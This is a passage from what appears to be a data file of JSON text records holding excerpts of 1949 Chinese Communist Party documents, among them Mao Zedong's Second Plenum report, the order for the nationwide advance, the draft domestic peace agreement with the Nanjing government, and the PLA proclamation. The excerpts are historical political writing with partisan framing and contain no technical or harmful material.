霸道的国民党死硬派，没有几天活命的时间了，我们和你们是站在一个方面的，一小撮死硬派不要几天就会从宝塔尖上跌下去，一个人民的中国就要出现了。"},
    {"text": "评国民党对战争责任问题的几种答案 评国民党对战争责任 问题的几种答案 （一九四九年二月十八日） “政府自抗战结束以后，即以和平建国方针力谋中共问题之和平解决。"},
    {"text": "” 在蒋介石发表这个声明的前七天，即一九四八年十二月二十五日，即有中共权威人士提出了四十三个战犯名单，赫然列在第一名的，就是这个蒋介石。"},
    {"text": "孙科说：“回忆三年前，当抗战胜利的初期，由于人民需要休养生息，由于国家需要积极建设，由于各党派对国家和人民的需要尚有共同的认识，我们曾经集合各方代表和社会贤达于一堂，举行过政治协商会议。"},
    {"text": "关于战争责任问题，他说：“在八年抗战之后，继之以三年之内战，不仅将抗战胜利后国家可能复兴之一线生机毁灭无遗，而战祸遍及黄河南北，田园庐舍悉遭摧毁荒废，无辜人民之死伤成千累万，妻离子散啼饥号寒者到处皆是。"},
    {"text": "” 李宗仁在这里出的是无头告示，他也没有说国民党应负责任，也没有说共产党或者别的方面应负责任，但是他说出了一个事实，这个“惨绝人寰的浩劫”，不是出在别的地方，而是出在“黄河南北”。"},
    {"text": "李宗仁是做过北平行营主任的，桂系的军队是和蒋系军队一道打到过山东省的沂蒙山区的 〔2〕 ，所以他有确实的情报，知道这种“浩劫”的地点和情况。"},
    {"text": "当蒋介石还没有“引退”时，死硬派原来想批驳八条，后来蒋介石一想不妥，决定不驳，大概是认为驳了就绝了路了，这是一月十九日的事情。 当着一月十九日早上，张君劢从南京回到上海，发表谈话，说了“关于中共所提八项条件，政府不久即可能发布另一文告，提出答复”这句话的时候，中央社即于晚间发出通报说：“顷播沪电张君劢谈话一稿，请于电文末加注按语如下：张氏谈话中所说政府不久即发布另一文告一点，中央社记者顷自有关方面探悉，政府并无发布另一文告之拟议。 ”一月二十一日蒋介石发表“引退”声明，并无只字批评八条，并且把他自己的五条 〔3〕 也取消了，改变为“使领土主权克臻完整，历史文化与社会秩序不受摧残，人民生活与自由权利确有保障，在此原则之下，以致和平之功”。"},
    {"text": "因此，李宗仁在一月二十二日敢于承认以中共的八条为谈判基础，国民党死硬派也不敢明目张胆地出面反对，只能吞吞吐吐地说一声“政府原不应接受”。"},
    {"text": "一九四九年二月五日孙科“迁政府于广州”以后，二月七日发表演说，关于战争责任问题，他说：“半年以来，因战祸蔓延，大局发生严重变化，人民痛苦万状。"},
    {"text": "他说：“现共方之迟迟不行指派代表，一味拖延，显示共方亦正迷信武力，自以为目前业已羽毛丰满，可以凭借武力征服全国，故拒绝先行停战，其用心亦极显然。"},
    {"text": "他的这些话，和二月十三日国民党宣传部的《特别宣传指示》对于战犯问题所表示的态度，是一样地吞吞吐吐，不敢明目张胆地提出反对，较之李宗仁敢于承认以惩办战犯为谈判的基础条件之一，大不相同。"},
    {"text": "但是孙院长仍旧有可爱的地方，这即是他说共产党“亦正迷信武力”，是表现在“迟迟不行指派代表”和“拒绝先行停战”这两点上，而不是如同国民党那样在一九四六年就迷信武力发动惨绝人寰的战争。"},
    {"text": "夫“迟迟不行指派代表”者，是因为确定战犯名单是一件大事，要是“为全国人所能接受者”，少了，多了，都不合实际，“全国人”（但不包括战犯及其帮凶）不能接受，故须和各民主党派人民团体互相商量，以此“拖延”了一段时间，并且未能迅速指派代表，引起了孙科之流颇为不快。"},
    {"text": "〔5〕 这是孙科一九四七年六月二十二日在南京接见美联社、国民党中央日报和新民报的记者时发表的谈话中说的，当时孙科任国民党政府副主席。"},
    {"text": "在中国共产党第七届中央委员会第二次全体会议上的报告 在中国共产党第七届中央委员会 第二次全体会议上的报告 * （一九四九年三月五日） 一 辽沈、淮海、平津三战役 〔1〕 以后，国民党军队的主力已被消灭。"},
    {"text": "绥远方式，是有意地保存一部分国民党军队，让它原封不动，或者大体上不动，就是说向这一部分军队作暂时的让步，以利于争取这部分军队在政治上站在我们方面，或者保持中立，以便我们集中力量首先解决国民党残余力量中的主要部分，在一个相当的时间之后（例如在几个月，半年，或者一年之后），再去按照人民解放军制度将这部分军队改编为人民解放军 〔2〕 。"},
    {"text": "现在准备随军南下的五万三千个干部，对于不久将要被我们占领的极其广大的新地区来说，是很不够用的，我们必须准备把二百一十万野战军全部地化为工作队。"},
    {"text": "有些糊涂的同志认为不是依靠工人阶级，而是依靠贫民群众。 有些更糊涂的同志认为是依靠资产阶级。 在发展工业的方向上，有些糊涂的同志认为主要地不是帮助国营企业的发展，而是帮助私营企业的发展；"},
    {"text": "我们必须全心全意地依靠工人阶级，团结其他劳动群众，争取知识分子，争取尽可能多的能够同我们合作的民族资产阶级分子及其代表人物站在我们方面，或者使他们保持中立，以便向帝国主义者、国民党、官僚资产阶级作坚决的斗争，一步一步地去战胜这些敌人。"},
    {"text": "务须避免盲目地乱抓乱碰，把中心任务忘记了，以至于占领一个城市好几个月，生产建设的工作还没有上轨道，甚至许多工业陷于停顿状态，引起工人失业，工人生活降低，不满意共产党。"},
    {"text": "为了这一点，我们的同志必须用极大的努力去学习生产的技术和管理生产的方法，必须去学习同生产有密切联系的商业工作、银行工作和其他工作。"},
    {"text": "城市中其他的工作，例如党的组织工作，政权机关的工作，工会的工作，其他各种民众团体的工作，文化教育方面的工作，肃反工作，通讯社报纸广播电台的工作，都是围绕着生产建设这一个中心工作并为这个中心工作服务的。"},
    {"text": "如果我们在生产工作上无知，不能很快地学会生产工作，不能使生产事业尽可能迅速地恢复和发展，获得确实的成绩，首先使工人生活有所改善，并使一般人民的生活有所改善，那我们就不能维持政权，我们就会站不住脚，我们就会要失败。"},
    {"text": "在这里，党和人民解放军的任务是在城市和乡村中消灭国民党的反动武装力量，建立党的组织，建立政权，发动民众，建立工会、农会和其他民众团体，建立人民武装力量，肃清国民党残余势力，恢复和发展生产事业。 在乡村中，则是首先有步骤地展开清剿土匪和反对恶霸即地主阶级当权派的斗争，完成减租减息的准备工作，以便在人民解放军到达那个地区大约一年或者两年以后，就能实现减租减息的任务，造成分配土地的先决条件；"},
    {"text": "中国的工业和农业在国民经济中的比重，就全国范围来说，在抗日战争以前，大约是现代性的工业占百分之十左右，农业和手工业占百分之九十左右。"},
    {"text": "这是帝国主义制度和封建制度压迫中国的结果，这是旧中国半殖民地和半封建社会性质在经济上的表现，这也是在中国革命的时期内和在革命胜利以后一个相当长的时期内一切问题的基本出发点。"},
    {"text": "第二，中国还有大约百分之九十左右的分散的个体的农业经济和手工业经济，这是落后的，这是和古代没有多大区别的，我们还有百分之九十左右的经济生活停留在古代。"},
    {"text": "古代有封建的土地所有制，现在被我们废除了，或者即将被废除，在这点上，我们已经或者即将区别于古代，取得了或者即将取得使我们的农业和手工业逐步地向着现代化发展的可能性。"},
    {"text": "但是，在今天，在今后一个相当长的时期内，我们的农业和手工业，就其基本形态说来，还是和还将是分散的和个体的，即是说，同古代近似的。"},
    {"text": "第三，中国的现代性工业的产值虽然还只占国民经济总产值的百分之十左右，但是它却极为集中，最大的和最主要的资本是集中在帝国主义者及其走狗中国官僚资产阶级的手里。"},
    {"text": "中国的民族资产阶级及其代表人物，由于受了帝国主义、封建主义和官僚资本主义的压迫或限制，在人民民主革命斗争中常常采取参加或者保持中立的立场。"},
    {"text": "由于这些，并由于中国经济现在还处在落后状态，在革命胜利以后一个相当长的时期内，还需要尽可能地利用城乡私人资本主义的积极性，以利于国民经济的向前发展。"},
    {"text": "但是为了整个国民经济的利益，为了工人阶级和劳动人民现在和将来的利益，决不可以对私人资本主义经济限制得太大太死，必须容许它们在人民共和国的经济政策和经济计划的轨道内有存在和发展的余地。 对于私人资本主义采取限制政策，是必然要受到资产阶级在各种程度和各种方式上的反抗的，特别是私人企业中的大企业主，即大资本家。"},
    {"text": "如果认为我们现在不要限制资本主义，认为可以抛弃“节制资本”的口号，这是完全错误的，这就是右倾机会主义的观点。 但是反过来，如果认为应当对私人资本限制得太大太死，或者认为简直可以很快地消灭私人资本，这也是完全错误的，这就是“左”倾机会主义或冒险主义的观点。"},
    {"text": "第五，占国民经济总产值百分之九十的分散的个体的农业经济和手工业经济，是可能和必须谨慎地、逐步地而又积极地引导它们向着现代化和集体化的方向发展的，任其自流的观点是错误的。"},
    {"text": "单有国营经济而没有合作社经济，我们就不可能领导劳动人民的个体经济逐步地走向集体化，就不可能由新民主主义社会发展到将来的社会主义社会，就不可能巩固无产阶级在国家政权中的领导权。"},
    {"text": "国营经济是社会主义性质的，合作社经济是半社会主义性质的，加上私人资本主义，加上个体经济，加上国家和私人合作的国家资本主义经济，这些就是人民共和国的几种主要的经济成分，这些就构成新民主主义的经济形态。"},
    {"text": "从中国境内肃清了帝国主义、封建主义、官僚资本主义和国民党的统治（这是帝国主义、封建主义和官僚资本主义三者的集中表现），还没有解决建立独立的完整的工业体系问题，只有待经济上获得了广大的发展，由落后的农业国变成了先进的工业国，才算最后地解决了这个问题。"},
    {"text": "第七，中国的经济遗产是落后的，但是中国人民是勇敢而勤劳的，中国人民革命的胜利和人民共和国的建立，中国共产党的领导，加上世界各国工人阶级的援助，其中主要地是苏联的援助，中国经济建设的速度将不是很慢而可能是相当地快的，中国的兴盛是可以计日程功的。"},
    {"text": "在国民党军队被消灭、国民党政府被打倒的每一个城市和每一个地方，帝国主义者在政治上的控制权即随之被打倒，他们在经济上和文化上的控制权也被打倒。"},
    {"text": "不承认国民党时代的任何外国外交机关和外交人员的合法地位，不承认国民党时代的一切卖国条约的继续存在，取消一切帝国主义在中国开办的宣传机关，立即统制对外贸易，改革海关制度，这些都是我们进入大城市的时候所必须首先采取的步骤。"},
    {"text": "我们是愿意按照平等原则同一切国家建立外交关系的，但是从来敌视中国人民的帝国主义，决不能很快地就以平等的态度对待我们，只要一天它们不改变敌视的态度，我们就一天不给帝国主义国家在中国以合法的地位。"},
    {"text": "我们既然允许谈判，就要准备在谈判成功以后许多麻烦事情的到来，就要准备一副清醒的头脑去对付对方采用孙行者钻进铁扇公主肚子里兴妖作怪 〔5〕 的政策。"},
    {"text": "九 无产阶级领导的以工农联盟为基础的人民民主专政，要求我们党去认真地团结全体工人阶级、全体农民阶级和广大的革命知识分子，这些是这个专政的领导力量和基础力量。"},
    {"text": "同时也要求我们党去团结尽可能多的能够同我们合作的城市小资产阶级和民族资产阶级的代表人物，它们的知识分子和政治派别，以便在革命时期使反革命势力陷于孤立，彻底地打倒国内的反革命势力和帝国主义势力；"},
    {"text": "在革命胜利以后，迅速地恢复和发展生产，对付国外的帝国主义，使中国稳步地由农业国转变为工业国，把中国建设成一个伟大的社会主义国家。"},
    {"text": "我们必须把党外大多数民主人士看成和自己的干部一样，同他们诚恳地坦白地商量和解决那些必须商量和解决的问题，给他们工作做，使他们在工作岗位上有职有权，使他们在工作上做出成绩来。"},
    {"text": "我们党内由土地革命战争时期的关门主义作风所养成的对待党外民主人士的不正确态度，在抗日时期并没有完全克服，在一九四七年各根据地土地改革高潮时期又曾出现过。"},
    {"text": "现在中国第一次在我党领导之下的政治协商会议即将召开，民主联合政府即将成立，革命即将在全国胜利，全党对于这个问题必须有认真的检讨和正确的认识，必须反对右的迁就主义和“左”的关门主义或敷衍主义两种倾向，而采取完全正确的态度。"},
    {"text": "规定了党在全国胜利以后，在政治、经济、外交方面应当采取的基本政策，特别着重地分析了当时中国经济各种成分的状况和党所必须采取的正确政策，指出了中国由农业国转变为工业国、由新民主主义社会转变为社会主义社会的发展方向。"},
    {"text": "毛泽东的这个报告，和他在同年六月所写的《论人民民主专政》一文，构成了为中国人民政治协商会议第一届全体会议所通过的、在新中国成立初期曾经起了临时宪法作用的《共同纲领》的政策基础。"},
    {"text": "（三）派周恩来、林伯渠、林彪、叶剑英、李维汉为代表（四月一日中共中央决定加派聂荣臻为代表），周恩来为首席代表，与南京方面的代表团举行谈判，按照一月十四日毛泽东主席对时局的声明及其所提八项条件以为双方谈判的基础。 （四）将上列各项经广播电台即日通知南京国民党反动政府，按照上述时间地点，派遣其代表团，携带为八项条件所需的必要材料，以利举行谈判。"},
    {"text": "书记要当好“班长”，就应该很好地学习和研究。 书记、副书记如果不注意向自己的“一班人”作宣传工作和组织工作，不善于处理自己和委员之间的关系，不去研究怎样把会议开好，就很难把这“一班人”指挥好。"},
    {"text": "我们有许多同志至今不懂得注意事物的数量方面，不懂得注意基本的统计、主要的百分比，不懂得注意决定事物质量的数量界限，一切都是胸中无“数”，结果就不能不犯错误。"},
    {"text": "例如，要进行土地改革，对于地主、富农、中农、贫农各占人口多少，各有多少土地，这些数字就必须了解，才能据以定出正确的政策。 对于何谓富农，何谓富裕中农，有多少剥削收入才算富农，否则就算富裕中农，这也必须找出一个数量的界限。"},
    {"text": "在任何群众运动中，群众积极拥护的有多少，反对的有多少，处于中间状态的有多少，这些都必须有个基本的调查，基本的分析，不可无根据地、主观地决定问题。"},
    {"text": "一个人的工作，究竟是三分成绩七分错误，还是七分成绩三分错误，必须有个根本的估计。 如果是七分成绩，那末就应该对他的工作基本上加以肯定。"},
    {"text": "我们看问题一定不要忘记划清这两种界限：革命和反革命的界限，成绩和缺点的界限。 记着这两条界限，事情就好办，否则就会把问题的性质弄混淆了。"},
    {"text": "南京政府向何处去？ 南京政府向何处去？ （一九四九年四月四日） 两条路摆在南京国民党政府及其军政人员的面前：一条是向蒋介石战犯集团及其主人美国帝国主义靠拢，这就是继续与人民为敌，而在人民解放战争中和蒋介石战犯集团同归于尽；一条是向人民靠拢，这就是与蒋介石战犯集团和美国帝国主义决裂，而在人民解放战争中立功赎罪，以求得人民的宽恕和谅解。第三条路是没有的。 在南京的李宗仁何应钦 〔1〕 政府中，存在着三部分人。一部分人坚持地走第一条路。无论他们在口头上怎样说得好听，在行动上他们是继续备战，继续卖国，继续压迫和屠杀要求真和平的人民。他们是蒋介石的死党。一部分人愿意走第二条路，但是他们还不能作出有决定性的行动。第三部分是一些徘徊歧路、动向不明的人们。他们既不想得罪蒋介石和美国政府，又想得到人民民主阵营的谅解和容纳。但这是幻想，是不可能的。 南京的李宗仁何应钦政府，基本上是第一部分人和第三部分人的混合物，第二部分人为数甚少。这个政府到今天为止，仍然是蒋介石和美国政府的工具。 四月一日发生于南京的惨案 〔2〕 ，不是什么偶然的事件。这是李宗仁何应钦政府保护蒋介石、保护蒋介石死党、保护美国侵略势力的必然结果。这是李宗仁何应钦政府和蒋介石死党一同荒谬地鼓吹所谓“平等的光荣的和平”，借以抵抗中共八项和平条件 〔3〕 ，特别是抵抗惩办战争罪犯的结果。李宗仁何应钦政府既然派出和谈代表团前来北平同中国共产党谈判和平，并表示愿意接受中国共产党的八项条件以为谈判的基础，那末，如果这个政府是有最低限度的诚意，就应当以处理南京惨案为起点，逮捕并严惩主凶蒋介石、汤恩伯、张耀明，逮捕并严惩在南京上海的特务暴徒，逮捕并严惩那些坚决反对和平、积极破坏和谈、积极准备抵抗人民解放军向长江以南推进的反革命首要。庆父不死，鲁难未已 〔4〕 。战犯不除，国无宁日。这个真理，难道现在还不明白吗？ 我们愿意正告南京政府：如果你们没有能力办这件事，那末，你们也应协助即将渡江南进的人民解放军去办这件事。时至今日，一切空话不必说了，还是做件切实的工作，借以立功自赎为好。免得逃难，免得再受蒋介石死党的气，免得永远被人民所唾弃。只有这一次机会了，不要失掉这个机会。人民解放军就要向江南进军了。这不是拿空话吓你们，无论你们签订接受八项条件的协定也好，不签这个协定也好，人民解放军总是要前进的。签一个协定而后前进，对几方面都有利——对人民有利，对人民解放军有利，对国民党政府系统中一切愿意立功自赎的人们有利，对国民党军队的广大官兵有利，只对蒋介石，对蒋介石死党，对帝国主义者不利。不签这个协定，情况也差不多，可以用局部谈判的方法去解决。可能还有些战斗，但是不会有很多的战斗了。从新疆到台湾这样广大的地区内和漫长的战线上，国民党只有一百一十万左右的作战部队了，没有很多的仗可打了。无论签订一个全面性的协定也好，不签这个协定而签许多局部性的协定也好，对于蒋介石，对于蒋介石死党，对于美国帝国主义，一句话，对于一切至死不变的反动派，情况都是一样的，他们将决定地要灭亡。也许签订一个全面性协定对于南京方面和我们方面，都比较不签这个协定，来得稍微有利一些，所以我们还是争取签订这个协定。但是签订这个全面性协定，我们须得准备应付许多拖泥带水的事情。不签这个协定而去签订许多局部协定，对于我们要爽快得多。虽然如此，我们还是准备签订这个协定。南京政府及其代表团如果也愿意这样做，那末，就得在这几天下决心，一切幻想和一切空话都应当抛弃了。我们并不强迫你们下这个决心。南京政府及其代表团是否下这个决心，有你们自己的自由。就是说，你们或者听蒋介石和司徒雷登 〔5〕 的话，并和他们永远站在一起，或者听我们的话，和我们站在一起，对于这二者的选择，有你们自己的自由。但是选择的时间没有很多了，人民解放军就要进军了，一点游移的余地也没有了。 注 释 〔1〕 一九四九年三月十二日，李宗仁在孙科辞职后，任命何应钦继任行政院长。 〔2〕 一九四九年四月一日，南京十一个专科以上学校的学生六千余人举行游行示威，要求国民党反动政府接受中国共产党的八项和平谈判条件。国民党南京卫戍总司令张耀明在蒋介石授意下，指使军警特务凶殴示威学生，死学生二人，伤一百余人。 〔3〕 见本卷《中共中央毛泽东主席关于时局的声明》。 〔4〕 事见《左传·闵公元年》。庆父是春秋时鲁国的公子，曾经一再制造鲁国的内乱，先后杀死两个国君。当时的人有“不去庆父，鲁难未已”的说法。后人常常把制造内乱的人比之为庆父。 〔5〕 见本卷《别了，司徒雷登》注〔1〕。"},
    {"text": "向全国进军的命令 向全国进军的命令 * （一九四九年四月二十一日） 各野战军全体指挥员战斗员同志们，南方各游击区人民解放军同志们： 由中国共产党的代表团和南京国民党政府的代表团经过长时间的谈判所拟定的国内和平协定，已被南京国民党政府所拒绝 〔1〕 。"},
    {"text": "南京国民党政府的负责人员之所以拒绝这个国内和平协定，是因为他们仍然服从美国帝国主义和国民党匪首蒋介石的命令，企图阻止中国人民解放事业的推进，阻止用和平方法解决国内问题。"},
    {"text": "经过双方代表团的谈判所拟定的国内和平协定八条二十四款，表示了对于战犯问题的宽大处理，对于国民党军队的官兵和国民党政府的工作人员的宽大处理，对于其他各项问题亦无不是从民族利益和人民利益出发作了适宜的解决。"},
    {"text": "拒绝这个协定，就是表示国民党反动派决心将他们发动的反革命战争打到底。 拒绝这个协定，就是表示国民党反动派在今年一月一日所提议的和平谈判，不过是企图阻止人民解放军向前推进，以便反动派获得喘息时间，然后卷土重来，扑灭革命势力。 拒绝这个协定，就是表示南京李宗仁政府所谓承认中共八个和平条件 〔2〕 以为谈判基础是完全虚伪的。"},
    {"text": "因为，既然承认惩办战争罪犯，用民主原则改编一切国民党反动军队，接收南京政府及其所属各级政府的一切权力以及其他各项基础条件，就没有理由拒绝根据这些基础条件所拟定的而且是极为宽大的各项具体办法。"},
    {"text": "在此种情况下，我们命令你们： （一）奋勇前进，坚决、彻底、干净、全部地歼灭中国境内一切敢于抵抗的国民党反动派，解放全国人民，保卫中国领土主权的独立和完整。"},
    {"text": "在国民党反动政府拒绝签订国内和平协定以后，人民解放军遵照毛泽东主席和朱德总司令的这个命令，向尚未解放的广大地区，举行了规模空前的全面大进军。"},
    {"text": "刘伯承、邓小平等领导的第二野战军和陈毅、粟裕、谭震林等领导的第三野战军，于一九四九年四月二十日夜起，至二十一日，在西起九江东北的湖口，东至江阴，长达五百余公里的战线上，强渡长江，彻底摧毁国民党军苦心经营了三个半月的长江防线。"},
    {"text": "彭德怀、贺龙等领导的第一野战军，在五月二十日解放西安之后，同第十九、第二十兵团继续向西北国民党统治区进军，八月二十六日攻克兰州，九月五日解放西宁，九月二十三日解放银川，全部歼灭了国民党马步芳、马鸿逵军。"},
    {"text": "十二月下旬，进入西南的人民解放军进行了成都战役，全部歼灭国民党胡宗南军，二十七日解放成都。 到一九四九年十二月底，人民解放军已经全部歼灭了中国大陆上的国民党军队，解放了除西藏以外的全部中国大陆。"},
    {"text": "四月十五日，中国共产党代表团将国内和平协定（最后修正案），提交南京政府代表团，四月二十日，被南京政府所拒绝。 国内和平协定（最后修正案）全文如下： 中华民国三十五年，南京国民政府在美国政府帮助之下，违背人民意志，破坏停战协定及政治协商会议的决议，在反对中国共产党的名义之下，向中国人民及中国人民解放军发动全国规模的国内战争。"},
    {"text": "全国人民，对于南京国民政府违背孙中山先生的革命三民主义的立场，违背孙中山先生的联俄、联共及扶助农工等项正确的政策，以及违背孙中山先生的革命的临终遗嘱，历来表示不满。 全国人民对于南京国民政府发动此次空前规模的国内战争以及由此而采取的政治、军事、财政、经济、文化、外交等项错误的政策及措施，尤其表示反对。"},
    {"text": "基于上述情况，南京国民政府曾于中华民国三十八年一月一日向中国共产党提议举行停止国内战争恢复和平状态的谈判。 中国共产党曾于同年一月十四日发表声明，同意南京国民政府上项提议，并提议以惩办战争罪犯，废除伪宪法，废除伪法统，依据民主原则改编一切反动军队，没收官僚资本，实行土地改革，废除卖国条约，召集没有反动分子参加的新的政治协商会议成立民主联合政府，接收南京国民党反动政府及其所属各级政府的一切权力等八项条件为双方举行和平谈判的基础，此八项基础条件已为南京国民政府所同意。"},
    {"text": "第一条 第一款 为着分清是非，判明责任，中国共产党代表团与南京国民政府代表团双方（以下简称双方）确认，对于发动及执行此次国内战争应负责任的南京国民政府方面的战争罪犯，原则上必须予以惩办，但得依照下列情形分别处理： 第一项 一切战犯，不问何人，如能认清是非，翻然悔悟，出于真心实意，确有事实表现，因而有利于中国人民解放事业之推进，有利于用和平方法解决国内问题者，准予取消战犯罪名，给以宽大待遇。 第二项 一切战犯，不问何人，凡属怙恶不悛，阻碍人民解放事业之推进，不利于用和平方法解决国内问题，或竟策动叛乱者，应予从严惩办。"},
    {"text": "第二款 双方确认，南京国民政府于中华民国三十八年一月二十六日将日本侵华战争罪犯冈村宁次大将宣告无罪释放，复于同年一月三十一日允许其他日本战犯二百六十名送返日本等项处置，是错误的。"},
    {"text": "第二条 第三款 双方确认，南京国民政府于中华民国三十五年十一月召开的“国民代表大会”所通过的《中华民国宪法》，应予废除。 第四款 《中华民国宪法》废除后，中国国家及人民所当遵循的根本法，应依新的政治协商会议及民主联合政府的决议处理之。 第三条 第五款 双方确认，南京国民政府的一切法统，应予废除。 第六款 在人民解放军到达和接收的地区及在民主联合政府成立以后，应即建立人民的民主的法统，并废止一切反动法令。 第四条 第七款 双方确认，南京国民政府所属的一切武装力量（一切陆军、海军、空军、宪兵部队、交通警察部队、地方部队，一切军事机关、学校、工厂及后方勤务机构等），均应依照民主原则实行改编为人民解放军。"},
    {"text": "整编委员会委员为七人至九人，由人民革命军事委员会派出四人至五人，南京国民政府派出三人至四人，以人民革命军事委员会派出之委员一人为主任，南京国民政府派出之委员一人为副主任。"},
    {"text": "第一点：凡南京国民政府所属的一切武装部队（陆军、海军、空军、宪兵、交通警察总队及地方部队等）均应集中整理。 整理原则，应由整编委员会根据各区实况，在人民解放军到达和接收的地区，按照其原番号，原编制，原人数，命令其分区，分期，开赴指定地点，集中整理。 第二点：南京国民政府所属一切武装部队，在其驻在的大小城市，交通要道，河流海港及乡村，当人民解放军尚未到达和接收前，应负责维持当地秩序，防止任何破坏事件发生。 第三点：在上述地区，当人民解放军到达和接收时，南京国民政府所属武装部队，应根据整编委员会及其分会的命令，实行和平移交，开赴指定地点。 在开赴指定地点的行进中及到达后，南京国民政府所属武装部队应严格遵守纪律，不得破坏地方秩序。 第四点：在南京国民政府所属武装部队遵照整编委员会及其分会的命令离开原驻地时，原在当地驻守的地方警察或保安部队不得撤走，并应负责维持地方治安，接受人民解放军的指挥和命令。 第五点：南京国民政府所属一切武装部队，在开动与集中期间，其粮秣被服及其他军需供给，统由整编委员会及其分会和地方政府负责解决。 第六点：南京国民政府所属一切军事机关（从国防部直到联合后方勤务总司令部所属的机关、学校、工厂、仓库等），一切军事设备（军港、要塞、空军基地等）及一切军用物资，应由整编委员会及其分会根据各区实况，命令其分区分期移交给人民解放军及其各地军事管制委员会接收。"},
    {"text": "第一点：南京国民政府所属陆军部队（步兵部队，骑兵部队，特种兵部队，宪兵部队，交通警察部队及地方部队），在分区分期开赴指定地点集中整理后，整编委员会应根据各区实况，制出分区改编计划，定期实施。 改编原则，应依照人民解放军的民主制度和正规编制，将经过集中整理的上述全部陆军部队编成人民解放军的正规部队。 其士兵中老弱残废，经查验属实，确须退伍，并自愿退伍者，其官佐中自愿退役或转业者，均由整编委员会及其分会负责处理，给以回家的便利和生活的安置，务使各得其所，不致生活无着，发生不良行为。 第二点：南京国民政府所属海军空军，在分区分期开赴指定地点集中整理后，即按原番号，原编制，原人数，由海军空军整编委员会依照人民解放军的民主制度，加以改编。 第三点：南京国民政府所属一切武装部队，在改编为人民解放军后，应严格遵守人民解放军的三大纪律，八项注意，忠实执行人民解放军的军事政治制度，不得违犯。"},
    {"text": "第十款 在国内和平协定签字之后，南京国民政府所属任何武装力量，如有对改编计划抗不执行者，南京国民政府应协助人民解放军强制执行，以保证改编计划的彻底实施。"},
    {"text": "第五条 第十一款 双方同意，凡属南京国民政府统治时期依仗政治特权及豪门势力而获得或侵占的官僚资本企业（包括银行、工厂、矿山、船舶、公司、商店等）及财产，应没收为国家所有。 第十二款 在人民解放军尚未到达和接收的地区，南京国民政府应负责监督第十一款所述官僚资本的企业和财产不许逃匿，或破坏，或转移户头，暗中出卖。"},
    {"text": "第十三款 在人民解放军已经到达和接收的地区，第十一款所指的官僚资本企业和财产，即应由当地的军事管制委员会或民主联合政府委任的机构实行没收。"},
    {"text": "其中，如有私人股份，应加清理，经证实确为私人股份并非由官僚资本暗中转移者，应予承认，并许其有留股或退股之自由。 第十四款 凡官僚资本属于南京国民政府统治时期以前及属于南京国民政府统治时期而为不大的企业且与国计民生无害者，不予没收。 但其中若干人物，由于犯罪行为，例如罪大恶极的反动分子而为人民告发并审查属实者，仍应没收其企业及财产。"},
    {"text": "第十五款 在人民解放军尚未到达和接收的城市，南京国民政府所属的省、市、县政府应负责保护当地的人民民主力量及其活动，不得压抑或破坏。"},
    {"text": "第七条 第十八款 双方同意，在南京国民政府统治时期所订立的一切外交条约、协定及其他公开的或秘密的外交文件及档案，均应由南京国民政府交给民主联合政府，并由民主联合政府予以审查。"},
    {"text": "第八条 第十九款 双方同意，在国内和平协定签字之后，民主联合政府成立之前，南京国民政府及其院、部、会等项机构，应暂行使职权，但必须与中国人民革命军事委员会协商处理，并协助人民解放军办理各地的接收和移交事项。"},
    {"text": "第二十款 南京国民政府及其各级地方政府与其所属一切机构举行移交时，人民解放军、各地人民政府及中国民主联合政府必须注意吸收其工作人员中一切爱国分子及有用人材，给以民主教育，并任用于适当的工作岗位，不使流离失所。 第二十一款 南京国民政府及其所属各省、市、县地方政府，在人民解放军尚未到达和接收以前，应负责维持当地治安，保管及保护一切政府机关、国家企业（包括银行、工厂、矿山、铁路、邮电、飞机、船舶、公司、仓库及一切交通设备等）及各种属于国家的动产不动产，不许有任何破坏、损失、迁移、藏匿或出卖。"},
    {"text": "第二十二款 在人民解放军已经到达和接收的地区，即应经由当地的军事管制委员会及地方人民政府或联合政府委任的机构，接收地方的一切权力及国家产业财富。"},
    {"text": "第二十三款 在南京国民政府代表团签字于国内和平协定并由南京国民政府付诸实施后，中国共产党代表团愿意负责向新的政治协商会议的筹备委员会提议：南京国民政府得派遣爱国分子若干人为代表，出席新的政治协商会议； 在取得新的政治协商会议筹备委员会批准后，南京国民政府的代表即可出席新的政治协商会议。 第二十四款 在南京国民政府业已派遣代表出席新的政治协商会议以后，中国共产党方面愿意负责向新的政治协商会议提议：在民主联合政府中应包括南京国民政府方面的若干爱国分子，以利合作。"},
    {"text": "双方代表团声明：为着中国人民的解放和中华民族的独立自由，为着早日结束战争，恢复和平，以利在全国范围内开始生产建设的伟大工作，使国家和人民稳步地进入富强康乐之境，我们特负责签订本协定，希望全国人民团结一致，为完满地实现本协定而奋斗。"},
    {"text": "中国人民解放军布告 中国人民解放军布告 （一九四九年四月二十五日） 国民党反动派业已拒绝接受和平条件 〔1〕 ，坚持其反民族反人民的罪恶的战争立场。全国人民希望人民解放军迅速消灭国民党反动派。我们已命令人民解放军奋勇前进，消灭一切敢于抵抗的国民党反动军队，逮捕一切怙恶不悛的战争罪犯，解放全国人民，保卫中国领土主权的独立和完整，实现全国人民所渴望的真正的统一。人民解放军所到之处，深望各界人民予以协助。兹特宣布约法八章，愿与我全体人民共同遵守之。 （一）保护全体人民的生命财产。各界人民，不分阶级、信仰和职业，均望保持秩序，采取和人民解放军合作的态度。人民解放军则采取和各界人民合作的态度。如有反革命分子或其他破坏分子，乘机捣乱、抢劫或破坏者，定予严办。 （二）保护民族工商农牧业。凡属私人经营的工厂、商店、银行、仓库、船舶、码头、农场、牧场等，一律保护，不受侵犯。希望各业员工照常生产，各行商店照常营业。 （三）没收官僚资本。凡属国民党反动政府和大官僚分子所经营的工厂、商店、银行、仓库、船舶、码头、铁路、邮政、电报、电灯、电话、自来水和农场、牧场等，均由人民政府接管。其中，如有民族工商农牧业家私人股份经调查属实者，当承认其所有权。所有在官僚资本企业中供职的人员，在人民政府接管以前，均须照旧供职，并负责保护资财、机器、图表、账册、档案等，听候清点和接管。保护有功者奖，怠工破坏者罚。凡愿继续服务者，在人民政府接管后，准予量才录用，不使流离失所。 （四）保护一切公私学校、医院、文化教育机关、体育场所，和其他一切公益事业。凡在这些机关供职的人员，均望照常供职，人民解放军一律保护，不受侵犯。 （五）除怙恶不悛的战争罪犯和罪大恶极的反革命分子外，凡属国民党中央、省、市、县各级政府的大小官员，“国大”代表，立法、监察委员，参议员，警察人员，区镇乡保甲人员，凡不持枪抵抗、不阴谋破坏者，人民解放军和人民政府一律不加俘虏，不加逮捕，不加侮辱。责成上述人员各安职守，服从人民解放军和人民政府的命令，负责保护各机关资财、档案等，听候接收处理。这些人员中，凡有一技之长而无严重的反动行为或严重的劣迹者，人民政府准予分别录用。如有乘机破坏，偷盗，舞弊，携带公款、公物、档案潜逃，或拒不交代者，则须予以惩办。 